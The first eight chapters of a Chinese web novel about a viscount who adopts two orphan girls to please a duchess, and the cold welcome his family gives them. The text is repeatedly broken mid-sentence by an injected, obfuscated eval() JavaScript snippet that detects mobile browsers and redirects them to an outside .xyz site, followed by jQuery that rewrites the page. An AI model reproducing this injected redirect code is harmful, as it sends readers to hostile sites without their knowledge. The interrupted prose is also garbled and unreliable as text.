《埃斯顿庄园的玫瑰》 1. 第一章 让我们将泪水和话语都献给上帝吧。转瞬之间，他俩都知道了各自的父亲母亲姐姐是谁。 ——《莎乐美》 “将孤儿收作养子养女吗？”科雷·埃斯特抖烟灰的手停住了。 “是啊，不觉得这是一件好事吗？如此一来，我们就能亲手让那些可悲的孩子们得到救赎。”大公爵夫人的语调上扬轻快，不经世事的话语显示出年龄之外的天真浪漫。 “确实如此啊，”“公爵夫人，您那充满慈爱的话语让我深受感动。”在科雷·埃斯特怔住的片刻，别的子爵已经抢先凑上来对雪莱大公爵夫人的话进行赞扬追捧。 “那么……”公爵夫人展开扇子微微遮挡住自己的半边脸，露出那双充满期待的湛蓝色眼睛。 “我立刻去安排。收养一位孤儿，并精心培养。”上前恭维的子爵大声宣布，进而退一步向后，向公爵夫人行了个礼。 “真好，我知道你一定会这么说的。”雪莱夫人收起扇子，露出开心的笑容。 “埃斯特子爵大人，你也会赞同我的吧。” “是的，当然。”科雷·埃斯特急忙收起怒视那位抢先恭维的子爵的目光，用最恭敬的语气向大公爵夫人弯腰行礼。 马车哒哒地在平坦宽广的道路上行驶，埃斯特子爵一边恼怒地想着自己宴会上迟钝的反应，一边思索着该如何把收养这件事办的更漂亮些，最好能引起公爵夫人的关注，如果能得到她的赞扬那就再好不过了，这说不定会有益于他的政途。 “哦，我的上帝，你这头蠢笨的猡猪，马蹄子怎么没踢坏你的头”马车从凹陷处驶过，不平的道路使得马车车厢突然歪向一边，内坐着的埃斯特子爵随着马车一起歪倒，突然而来的颠簸让他忍不住出口大骂。 “早该把他发卖了，”他扶着车厢壁重新坐正，捞起掉落在一旁的礼帽掸灰，“回去就这么做，”掸灰的动作一顿，“哦，不过，现在有个好主意了。”埃斯特子爵倏地放松下来了，将帽子放在一边，背向后靠着，闭着眼让身体随着马车的行驶颠簸。 埃斯特子爵回到家中。 “亲爱的，你说要收养孤儿是怎么回事？”艾米莉夫人逼问。 “没什么别的。就是字面意思。”埃斯特子爵背过身去，避开自己妻子尖锐的声音。 “字面意思……” “我们家已经有一个出色的儿子和两个美丽的女儿了。为什么还要……而且对象还是那些来路不明的孤儿。” 她对丈夫敷衍的回答愤怒极了，手中的扇子摇的飞快，过于激烈的情绪让她被束腰带束住的细腰不断颤抖，胸口几乎喘不上气，只有摇动扇子送来的新鲜的风能让她稍微缓和一点。 “做慈善活动是贵族的义务。这点道理，我想你应该懂。”埃斯特烦躁地点燃烟卷，内心有些厌烦这个女人的咄咄逼人了，即便她是自己的妻子。 “是雪莱公爵夫人吧。”埃斯特没想到她真的说出来了，决心戳破这个家里的安定，一时间脸色变得有些难看。 “是被那个女慈善狂挑唆了才会这样。” “快去回绝掉。你要是不去，那我直接去找那个女人。”丈夫的富有愠色的脸庞激怒了艾米莉，她抖臂将扇子摔在地上，昂扬起脖子像在斗鸡一般地对自己的丈夫大吼大叫，今早女仆为她精心盘拢起的头发也在她大幅度的动作中散落开来，头上的饰品顺着硕大的裙摆叮叮当当掉了满地，金色的发丝散落在尖细的脸庞上。 “别说傻话了！事到如今，我怎么能说出那种有碍体面的话。”埃斯特子爵抬高了声音，怒气丛生的脸庞使得昔日的清俊不再，幽幽闪光的孔雀绿眼珠也在岁月的沧桑中变为了暗淡庞杂的灰绿色，提高的气势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599194|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和逐步攀升的政治地位使得他在面对暴怒的妻子时丝毫不落下风。 “你要是不回绝掉……你要知道你的家产是怎么来的。”艾米莉恶狠狠地说道，怒气冲冲地转身疾走，精致繁复的裙摆一把将落在地上的饰品扫开，她回了楼上，上楼时用尖角的鞋跟将楼梯踩得咯吱作响。 “塞拉，你这蠢笨的懒虫，还不来梳理！”艾米莉怒气未消地一叠声呵斥近侍的女仆长，随手抓起物品就往外扔，砸得女仆长颤了一颤，连忙稳住身形上前为女主人梳妆。 看到平日里颇受喜爱的女仆长都被女主人所呵斥，侍立在远处的侍女们更是噤若寒蝉，唯恐陷入夫人与子爵的冷战中。 一楼会客厅里，埃斯特子爵暴怒的情绪逐渐平复，“我跟她盘算什么，”哼笑了一声，子爵放任手里的烟卷静静燃烧，眼睛逐渐眺望远处的风景。 色泽各异的拼接彩窗在冬日阳光浮照下于大厅内投下斑驳色影，映得人朦朦胧胧的。 窗外远处是大片大片的草地，泛着暗色，已经是正午了，雪还未停，零碎的雪块轻轻叠盖在草丛和植被上。正厅里的壁炉静静燃烧，时不时发出噼噼啪啪的断木声。子爵手里的烟断断续续地抽着，淡淡的烟卷味道弥散在整个大厅里。 新来的女仆瑞娜则在大厅中其他女仆的示意下，小心跪趴在地上捡起女主人掉落的首饰。 多棱的宝石、散落的珠子与铁制的端盘碰撞，发出过重的沉闷的拾掇声，在静谧的大厅中猛地惊醒了窗边的子爵。 他回身低头见到了一个俯身拾掇的女仆，身影纤纤，皮肤秀白，不像家中惯常劳作的女仆们，因着向子爵行礼，头低低垂着，脖颈纤长似天鹅，于是他道： “你是——？” “大人，我是新来的仆人瑞娜，谨遵您的指示。”女仆更谦卑地垂下了她的脖颈。 2. 第二章 欲望是痛苦的根源，而知识能带来暂时的解脱。 ——《作为意志和表象的世界》 福利院今日非常忙碌，埃斯特子爵大人将要光临这里并带走两个孤儿，或许还会给这个可怜的福利院带来一笔不错的资助，这足够让这里的孩子们度过这个寒冷的冬天了。院长对这次来访非常重视，一大早就赶着孤儿院的孩子们忙碌起来。 不过眼下才一月底，就连多瑙河上的风雪都未化去，更别说是这个院子中冻结的深井了。她们遇到了难题，没有足够的水来擦拭墙板，更多的活水需要从更远的地方运来。 黄色的濛濛细雾弥漫在空气中，使得早晨变得昏暗，孩子们在寒风中瑟瑟发抖。在这样的寒冬做活绝不是一个好主意，一个小小的伤寒就足以夺取一个体弱孩子的性命。但她们还是开始了，院子里的积雪能够在房内残留的热量中化开。 不时有干咳声在回廊中传出，或许是浓濛濛雾侵入了她们瘦弱的身躯，寒冷在潮湿空旷的房间中避无可避。格蕾丝抱着偷偷藏下的书，踮着脚小心避开了所有人，悄悄溜进灰色窗帘布的后面。 这里有个狭小的窗座，几乎不为人知，上面薄薄积着一层暗色的灰，格蕾丝用身上看不出颜色的的围裙擦拭两下，盘腿坐在了上面。 褶裥重重、大幅缩水的灰黑色窗帘把也与外面的世界隔离开来，回廊里的咳嗽声、低声交谈声、擦拭中的墙皮脱落声变得很小，像是从远方传来一般，格蕾丝享受了一下为数不多的安静。 不过说实话，里边也并不是什么好环境，空气充满了久不清理的沉重灰尘气味，太过潮湿的冬季使得黑灰色的窗帘散发着难闻的霉臭味。 真奇怪，院长居然能够忍受这样臭熏的窗台连成片，按我说，它们早该丢了，或者趁着还没彻底霉坏的时候，扯下来给我们做身衣服。格蕾丝有些不着边际地想着。哦不，还是挂着它吧，这里还能藏着我。 格蕾丝总算有时间好好看一眼这本书了，这本书是她偷拿的，福利院当然没有什么书，所以与其说她手上拿着的是书，不如说它是垫柜门的垫脚。院长显然用它垫了很久自己的柜门，书的背面有深深的凹痕。 书封面是皮质的，棕黑色，看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599195|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出什么材料，这本书光秃秃的就像一块光滑的地板，不过或许地板都比这本书干净些。格蕾丝用指腹用力搓了搓书名处，什么也没有发生，反倒是手上指腹的位置黑了一圈。 不过还是有收获的，格蕾丝能感受到当她的指腹抚摸书名时，那里儿有处不明显的凹陷，或许是被灰尘污渍填住了，格蕾丝心想。 她将整只手掌放了上去用力地磋磨，凹陷边缘处的黑色剥落了一些，透出暗金色的纹路。她感到惊喜，接着改用长短不一的指甲小心地扣弄着。封面的字完全显现出来了。 “格蕾丝”，格蕾丝念着书封面上的名字，真是不可思议，我们的名字居然一样。 她将手往围裙上擦了擦，轻轻挑开了扉页，入目的是一串文字，“还是看不懂”，她小声嘟囔着，继续翻动书页，开头一大段仍然是长长的文字，让她感兴趣的是下边的插图——宫廷舞会的一边，一个男人对着正坐着的女人行礼，恭敬地亲吻她的手背。 格蕾丝饶有兴趣地盯着这幅画，手指下意识地抚摸上了女人浅金色的头发和她身上繁多华丽的饰品。 3. 第三章 美貌是魔鬼的诱饵。 ——《李尔王》 就要在格蕾丝翻动下一页的时候，回廊上突然传来声音。 “格蕾丝！你在哪？”是院长中气十足地在叫唤，“快出来！”她很快就发现回廊上没有格蕾丝的也身影。见鬼，她上哪去了？ 听到院长声音的瞬间格蕾丝就快速合上了书本，蹑手蹑脚地凑到窗帘的一角，透过布料与墙壁形成的缝隙偷看着外边的情况。 看到院长离去的身影，格蕾丝松了一口气。幸好我藏得好，格蕾丝心想，打扫偷懒这件事被抓到了绝对会被竹条抽的，琼下手那么狠，就算院长在也帮不了我。 窗帘倏地被人掀开。 “嘿！”格蕾丝被吓了一跳。 “哦，你怎么了，怎么吓成这样。”蓓丽也被格蕾丝的表现吓到了，她几乎从窗座上跳起来了，头好像磕到了顶上。 “你怎么来了，蓓丽”格蕾丝呲牙咧嘴的捂着自己的额头，嘴里嘶嘶的抽痛。 “我们都在找你呢”蓓丽看着格蕾丝。蓓丽很美，格蕾丝一直都清楚。每当她歪头看向别人的时候，总会让被看的人觉着她很专注，她那双茶褐色的眼睛颜色很浅，在强阳光下甚至能看到眼瞳旁游丝的线条，至少格蕾丝觉得自己看到过。 “她们找不到你，我就知道你在这。”蓓丽对着格蕾丝笑了起来。她的笑容很迷人，那双眼睛像月光下汩汩流动的泉水，非常动人。 “找我？” “子爵大人快来了，听说会挑两个人回去抚养，运气好的话，或许能成为小姐呢！”蓓丽的声音暴露出它主人激动的心情。 好像是有这件事，格蕾丝心想。如果蓓丽愿意，她一定会被选上的，见过她的人都在称赞她的美貌。只要她愿意——格蕾丝又陷入了沉思。 窗帘“唰”的一声再度被掀开，回廊上的光倾洒在窗座上，格蕾丝和蓓丽的身影也裸露出来了。 “好了，孩子们，别再玩躲猫猫的游戏了。我找你们很久了。”院长还是找到这里了，也是，据说院长从出生就呆在这了，应该再没有人比她更熟悉这里。 院长没有一点儿嫌弃地将窗帘抓在手里，尽管它散发着难闻的味道。窗帘掀起时，外边新鲜的空气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599196|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也跟着一涌而进，格蕾丝呼吸了几口，觉得还是外边的环境呆着更舒服。 “跟我走吧，子爵大人快到了。”院长顺手把窗帘往一边拉开，更多的阳光倾洒进来了，被窗帘短暂阻隔的世界再度融为了一体。院长拍了拍手上的灰尘，再度理了下衣襟，神态严肃地向外走了。 下楼时她回望了一眼，对着迟迟没有动静的也和蓓丽大声道：“快跟上！” 格蕾丝确信这时候的院长有些生气了，或许是对我的偷懒，又或许是对我们俩的呆愣，再或许是因为可能要损失一笔救助金，总而言之，院长一定是生气了，因为格蕾丝很少见到院长如此严肃庄重的样子。 事实证明，院长所说的没有错，子爵大人马上就到了。在格蕾丝和蓓丽刚下回廊站好的时候，子爵大人的马车就到了。 因为下楼过急，格蕾丝甚至忘了把手中偷拿的书藏起来，就这样“光明正大”地拿在手上。 蓓丽站在格蕾丝的身旁，她的美貌通常会叫人忽视她旁边的其他人，虽然对于整体都是灰扑扑的福利院来说，美丽通常是一件很奢侈可笑的事情。 4. 第四章 你若是看到了我，就一定会爱上我。我知道你一定会爱上我的，爱比死亡还要神秘。 ——《莎乐美》 这次的马车驾得很稳，路上没有发生任何有失贵族身份的事情，埃斯特子爵很满意，甚至短暂拥有了好心情，果然赶走上一个车夫是一件正确的事情，莽撞的糊涂蛋就不该拥有一份工作，一顿鞭打再丢出庄园是他唯一能得到的东西。 埃斯特子爵不太在意被赶出庄园的仆人的下场，比起那个，他更关心的是什么样的孩子更能讨得公爵夫人的欢心。 马车在福利院面前停下了。 清晨弥漫的黄濛濛的雾气已经散去，天空还是很暗沉，沿路湿漉漉的台阶和石子路在偶尔透出的光缕下闪烁发光，但是请不要指望一个贫困潦倒的福利院在凋零枯萎的冬日下能表现出多美的景色，黑色和灰色是这里最多的颜色，哦，或许还有白色，那是冬日降雪的缘故。 埃斯特子爵有些嫌弃地站在福利院面前，潮湿的天气使得脚下的泥土格外泥泞，而这个贫穷的处所甚至没有一点儿多出的余钱，能够用光滑平坦的板石将庭院和门前的道路铺平。 埃斯特再三犹豫了下，还是穿着自己崭新发亮的鞋子踏入福利院的土地。就当是为了公爵夫人给出的嘉奖和权力，埃斯特心想，他此刻甚至能想象出在公爵夫人面前谄媚的子爵在自己面前败下的样子。 福利院的院长一早就带着福利院的众人等候在院子中，脸色苍白、身体瘦弱的姑娘在寒风中直打哆嗦，她们紧紧贴近，靠着彼此取暖，人群中时不时传来低声咳嗽的声音。 埃斯特在与院长简单地寒暄后，直接将目光转向了院子中的众人，与其说他是在挑孩子抚养，不如说他是在挑选符合心意的小宠物来得更准确些。 他的目光很快地略过在寒风中瑟瑟的那一群孩子，将更多的注意力放在身体明显强健一些的孩子上。 倏然，他的目光被一个人吸引了，他的眼睛紧紧盯着蓓丽，脸上露出了一种少见的痴迷的神色。他真的会露出这种神色吗，他甚至对自己的妻子都没露出过这样的神色。 子爵迷上她了，格蕾丝心想，他的眼神很明显，就像破戒的圣徒对酒的渴望，不过这样的眼神格蕾丝通常只在宿醉的流浪汉的身上看见。 难道出身高贵的子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599197|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爵大人也会同最卑劣的人一样，身上拥有相同的东西吗，格蕾丝对此感到困惑，当然也有些了然，不过她的了然更多的是对好朋友蓓丽美貌的了然，她始终相信蓓丽的美貌就如泰尔花园里绽放的石榴花一样美艳，没有人能不为此臣服。至少是在她能记住的短短几年的人生中，蓓丽因她的美貌始终招人喜爱。 很显然，格蕾丝的朋友蓓丽入选了，子爵赤裸裸直勾勾的目光甚至叫蓓丽感到无比羞涩，“老天，如果他收养了我，他就会成为我的父亲。父亲怎么能用那样的眼光看着我。”蓓丽有些无所适从，她还没有守护自己美貌的能力。 “就她了。”埃斯特对院长说道。 院长只是微微一抬头就知道埃斯特子爵说的是哪位孩子了，他的眼神确实很明显。 院长轻轻叹了口气，走到蓓丽的面前，用很隐秘的声音低声询问她“你愿意去吗？蓓丽。” 蓓丽的脸色顿时红润得像玫瑰花，上好的胭脂晕染都比不过她此时的颜色。她几乎是叮咛地小声说道：“愿意的，院长大人。” 院长再度叹了一口气，说：“好吧。”然后转身宣布，蓓丽入选。 5. 第五章 美貌是个圈套，所有明智的人都盼望掉进这个圈套。 ——《莎乐美》 因为蓓丽的手紧紧挽着格蕾丝，在蓓丽入选后，格蕾丝也“幸运”地被子爵看到了。 格蕾丝的相貌很普通，宽宽的额头，棕褐色结乱的头发蜷曲着搭拢在肩膀上，黑色料子的长裙并不合身，像是宽大的长袍，走起路来应该会左右灌风。她的肤色也不算白皙，能看出是健康的样子，其他的五官在格蕾丝低头时隐藏起来了。 格蕾丝过于平淡的相貌自然不会引起子爵的注意，他更想再找一个聪敏端正又健康的孩子收养。 拥有两个孤儿的抚养权，子爵相信这能帮他战胜那个抢占先机的献媚者，毕竟让两个可怜的、没有父母的孩子接受教育，习得知识这可比仅教导一个孩子更能彰显贵族慈爱的多。 在子爵的目光将要再次略过格蕾丝的时候，他发现了些许不同——格蕾丝的手里抓着本书。 这引起了埃斯特子爵的兴趣，他竟然看到一个孤儿院的孩子手里拿着本书，她们不该是蠢笨地如同牛一般吗。 愚蠢的，没有思想的，或许还有拥有美貌的，不管如何，这样小的孤儿院孩子手里抓着本书都是很怪异的。 埃斯特让这个孩子走上前来，走到自己身边，然后拿起她手中的书。 直到这个时候格蕾丝才发现这本书被自己无意中带下来了，看着面前的男人在众人面前拿起那本书，她有开始些慌乱和害怕，若是“小偷”的身份真正暴露，她对未知的结果感到恐惧。 埃斯特看了看封面上的字，流金色的字体描了一个“格蕾丝”字，于是他开口问面前的小姑娘：“你知道这本书的名字吗？”他料定她答不出来，这个年纪的孤儿院孩子没有会认字的，他坚信。 “是的，先生。它叫《格蕾丝》。”格蕾丝回答道。 埃斯特显得有些惊异，难道真的有会认字的孤儿吗，是谁教的，总不可能是她自己学的吧。教孤儿院的孩子可不是一个好主意，这些穷人估计一辈子都用不上这个。 他想再考考这个孤儿，他的另一只手在拨弄着书页想要翻开这本书，但是在翻动中，他有些尴尬恼怒地发现这本书的书页粘得很牢，不是简单能翻得开的。 这让埃斯特感觉自己被冒犯了，但是众人面前他只能简单地咳嗽一声，装作在清嗓子，一个子爵连一本书都翻不开，这种事情传出去会被人笑话的。 “不过这个孤儿至少想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599198|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看书，对吧，甚至还知道书的名字，这就比底下这一群低贱的孤儿聪明多了，”埃斯特心想，“蓓丽，是叫这个名字吧，总之，蓓丽还喜欢她，那就这个孤儿吧。” 埃斯特子爵用下巴示意院长，表示另外一个孤儿就是他面前这个了，示意的时候他的视线还扫了一圈底下全部的孤儿，满意地发现，除了他旁边这一个，再没有其他孤儿手里拿着本书了，这证明他的选择很正确。 事实上格蕾丝也很慌乱，她一直在等下子爵下“判书”，说她是个“小偷”之类的。“除了“偷”来的，福利院的哪个孩子还有如此殊荣能获得一本书呢，如果有的话，那也不会是她，至少会是她的朋友蓓丽拥有，”格蕾丝心慌意乱地想着。 直到院长宣布另外一个被收养的孩子是她，她都不敢相信这是真的。一瞬间中，埃斯特子爵的形象就在格蕾丝的心目中转变了，她不称他为“那个男子”了，而是在心中尊敬地称呼他为子爵大人。 就这样，埃斯特子爵收养了这两个灰扑扑的孤儿，或许灰扑扑这个词仅限于形容“格蕾丝”，蓓丽是一群孤儿中美丽的黑天鹅，没有人会把她和“灰扑扑”放在一起的。当然，格蕾丝只认识自己名字这件事也幸运地没有被人发现。 6. 第六章 评判一个人，不应看其肤色，而应看其品格 ——马丁·路德·金 埃斯特子爵的马车载着这两位即将拥有新身份的小姑娘回到了庄园上。 马车一路上很安静，子爵几乎没有再和她们交谈过，只是时不时地用一种格蕾丝看不懂的目光打量着她们。 原本就很拘谨的格蕾丝和蓓丽，因为这目光更加拘谨，她们尽力用自己曾经所看到的，最端庄的姿态坐在位置上。因为不得要领，她们不得不左右交换着重心，好让一边臀部在工作时，另一边能够休息一会儿，不过就算是这样，她们也还是累得够呛。 马车停在了庄园门口，一路上的紧张心情让格蕾丝和蓓丽没空去打量周围的环境，等她们放松下来时，她们已经到了。在她们眼前的是一个宏伟的黑色城堡，十几个仆人事先等候在了门口前，当子爵一下马车，他们就有序地靠近服侍他。 在巨大的庄园面前，所有人都像是石头下的蚂蚁，不过没有人对此有所察觉。庄园的地基呈方形，它是一幢整体三层的建筑，里边有上百个房间，拥有无数相同的走廊和楼梯，格蕾丝过了很久才熟悉这里，她刚来的时候，经常会在这个迷宫一样的城中城里迷路，不过幸运的是，威廉总是能寻到她。 埃斯特子爵在下车后就直接离开了，他想要避开妻子的恼怒，纵然妻子最后被迫接受了他的举动，他也不会乐观地认为现在的妻子对自己饱含温柔的情意，“现在最好还是避开她压抑的怒火比较好，”埃斯特心想。 子爵的直接离开让仆人们对于如何对待这两个小家伙拿捏不准，肃穆严谨的女管家娜比去请示了子爵夫人，得到了将她们带进小客厅的指令。 天气还是很寒冷，城堡里的主人们都聚在温暖的壁炉前取暖，子爵夫人懒懒地斜坐在沙发上，身上的珠宝首饰在火光的映照下闪烁着光泽，温暖的房间让她昏昏欲睡。 凯瑟琳小姐手托着腮在看书，浅绿色的眼睛倒影出壁炉中跳跃的火焰和书上的文字，她优美的姿态就像一只名贵的波斯猫，很显然，她美丽而诱人。 旁边的玛格丽塔小姐在与仆人玩游戏，她“咯咯”的笑声不断从小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599199|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客厅中传来，显示主人现下极为愉悦的心情。 其实严格来说，玛格丽特小姐的相貌是要比凯瑟琳小姐更胜一筹的，就如人们比起纯洁淡雅的白色百合花，更喜欢热烈奔放的玫瑰一般。不过她身上的傲慢早就浇灭了她的可爱之处，聪慧而富有气质的凯瑟琳小姐在成年后一定会被更多的青年求娶，只要那些男子不沉迷于玛格丽特小姐的外貌之中。 小客厅中还坐着一位男性，是威廉·埃斯特。 他很英俊，拥有着高大挺拔的身躯，黑茶色的卷发，高挺的鼻梁，深邃的眼窝，碧绿如橄榄的眼眸，完美继承了父母亲身上的好相貌，更重要的是，他是一位端正温和的人，拥有高尚的品质，与他的父母亲和妹妹们完全不同，这是格蕾丝在住进来不久后就发现的。 尽责的女管家娜比将格蕾丝和蓓丽引到了小客厅。格蕾丝敢肯定，在她们进入小客厅的第一刻，那位子爵夫人就发觉了，因为格蕾丝能清楚地看到那位华贵的夫人突然皱起了眉头，但是她显然不想理会她们俩，在管家娜比通报时，夫人没有说话。 7. 第七章 除了诱惑，我什么都能抗拒。 ——《莎乐美》 小客厅里一时很安静，只有火焰燃烧时发出的“噼里啪啦”的声音，玛格丽特好奇地看着她们，没有停下手中的游戏，凯瑟琳仅仅抬起头看了她们一眼，又继续低头看书了。诡异的沉静弥漫在小客厅中，长久的沉默中就连四周服侍的仆人都忍不住抬头看了一眼，随后迅速地低下头。 “母亲，”威廉突然开口了，“我想回书房中去看书。” 子爵夫人缓缓睁开阖上的眼睛，支着头对威廉说：“去吧。” “是的，母亲。”威廉站了起来，弯腰捡起地上先前滑落的书籍，抬腿向外走去。走出房间之前，他用手势示意周围服侍的仆人为新来的两个小家伙搬来矮凳，这使得子爵夫人不得不面对眼前的事情了。 “哦，瞧啊，女儿们，两个黑乎乎的小煤碳，”子爵夫人像是刚发现这两人似的，对着她两个美貌的女儿说道。 “是的，妈妈。”玛格丽特“咯咯”笑了起来，“乌黑的煤炭会弄脏我们的地毯的，快赶她们出去。” 愚蠢的姐姐，凯瑟琳心想，她笨拙的大脑还不明白这两个人就是父亲新收养的女儿吗，是将要成为她未来的妹妹的人，母亲的教导真是白费了。 “妈妈，既然是煤炭——”凯瑟琳停顿了下，“那就要发挥煤炭的作用，您说对吗？妈妈。”她翠绿色的眼睛笑起来弯弯的，对人很有说服力。 “哦，我美丽的女儿说得对。”子爵夫人笑了起来，然后做出沉思的样子，“那就——那就让她们出门搬柴火吧。外边的雪好像下大了，可是壁炉的火还不够暖和……凯瑟琳，你怎么看。” “我都听妈妈的。”凯瑟琳回答道。 窗外的风雪在格蕾丝和蓓丽进庄园的时候就开始下了，这时候外边的雪已经下得格外的大了，庄园外几乎没有仆人在滞留，他们都躲到温暖的厨房中取暖，要想过得舒服一些，跟厨房打好交道是必不可少的。 城堡很温暖，小客厅也暖和极了，质量好的雕花玻璃直接隔绝了平野上所有的风声，把冬日的宁静送到这里。 但是这份温暖不属于格蕾丝和蓓丽，她们俩此刻要到城堡的后边去搬柴火，因为这是夫人的命令。 “好冷啊，格蕾丝，我的手脚都冻僵了。”蓓丽冻得直打哆嗦。城堡的大门打开后，她们一瞬间就陷入了暴风雪中，扑面而来的都是成型的雪块。 “我也是，蓓丽。我想回去。”格蕾丝的脸被冻得发白。她们的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599200|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上还穿着来时的衣服，没有人给她们换上厚实温暖的衣服，格蕾丝的衣服因为过于宽大，四下漏风，时不时有雪块往她的后脖颈里钻。 “再坚持一下，格蕾丝，很快我们就能成为像她们一样的小姐了。”小客厅里的小姐们穿戴的珠宝绸缎是蓓丽一辈子都没见过的，蓓丽也渴望穿上这些，能够像小姐们一样美丽。 还有那位英俊的男子，应该是未来的她的兄长，她在见到的第一瞬就坠入了爱河。如果她能够像那些小姐一样作那样的打扮，她相信她的“兄长”也会为她所沉迷，她对自己的美貌很有信心。蓓丽因美好的想象而心情激动，被风雪刮得苍白的面上也有了一丝血色，她甚至因为这个不小心呛了口雪。 “哦，不，蓓丽。我要离开这。”格蕾丝的内心也在摇摆，脑袋里一会儿是奢侈的生活，温暖的房间，“稳重的父亲”，一会儿又是冰冷的福利院，凶狠的琼，急躁但和蔼的院长，她的心一会儿偏向新生活，一会儿又摆向旧生活，几乎乱成一团糟了。 但是很快她就没空想了，因为风雪太大了，她们两个搬了几趟才把夫人要的柴火搬完。不过值得高兴的是，她们拥有自己的房间了，一回来格蕾丝就和蓓丽进了房间，猜拳选定一张床后，她们倒头就睡。 8. 第八章 我就要在他的坟前把它栽下，倘若它能活着，让它在那里开花，抑或枯萎，至少可以在那里死去。 ——《莎乐美》 第二天是格蕾丝先醒来的。 醒来后打量了下她们俩的房间，格蕾丝高兴地发现一个事实，那就是这个房间比起福利院的房间好上不少。 对比福利院完全没有隐私的大通铺，格蕾丝显然更喜欢这里，虽然这里也是空荡荡的，除了一个木制的柜子、桌台和两张单人床就没有什么了。 而且这里的夜晚虽然冷，但是有厚重的被子，也没有那些动不动就蹿入的冷风，睡起来比福利院舒服多了。 当格蕾丝把这间狭窄的房间仔仔细细看完，左右摸了一圈，又睡了一觉后，格蕾丝终于发现蓓丽不对劲了。 蓓丽平常起的很早，今天晚起了，格蕾丝以为是昨天太累了，蓓丽也在休息的缘故。 但是在她饿极了，想要叫蓓丽一起出去找找东西吃的时候，她突然发现床上蓓丽的脸色不对劲，她红的厉害，露在被子外的脖子上还起了细小的疙瘩。 格蕾丝吓坏了，她知道蓓丽病了，福利院里生过病的孩子很多，有的熬过去了，有的熬不过去，熬不过去的就死了，格蕾丝并不希望蓓丽成为这其中的一员。 她焦急地冲出房门，在庄园弯曲曲折的走廊里横冲直撞，撞到了不少人，到处询问子爵大人的下落，因为不熟悉，仆人们谁也不敢告诉她子爵在哪，只能任由她奔跑。 格蕾丝只想找到子爵大人，她相信子爵大人不会让蓓丽死去的。 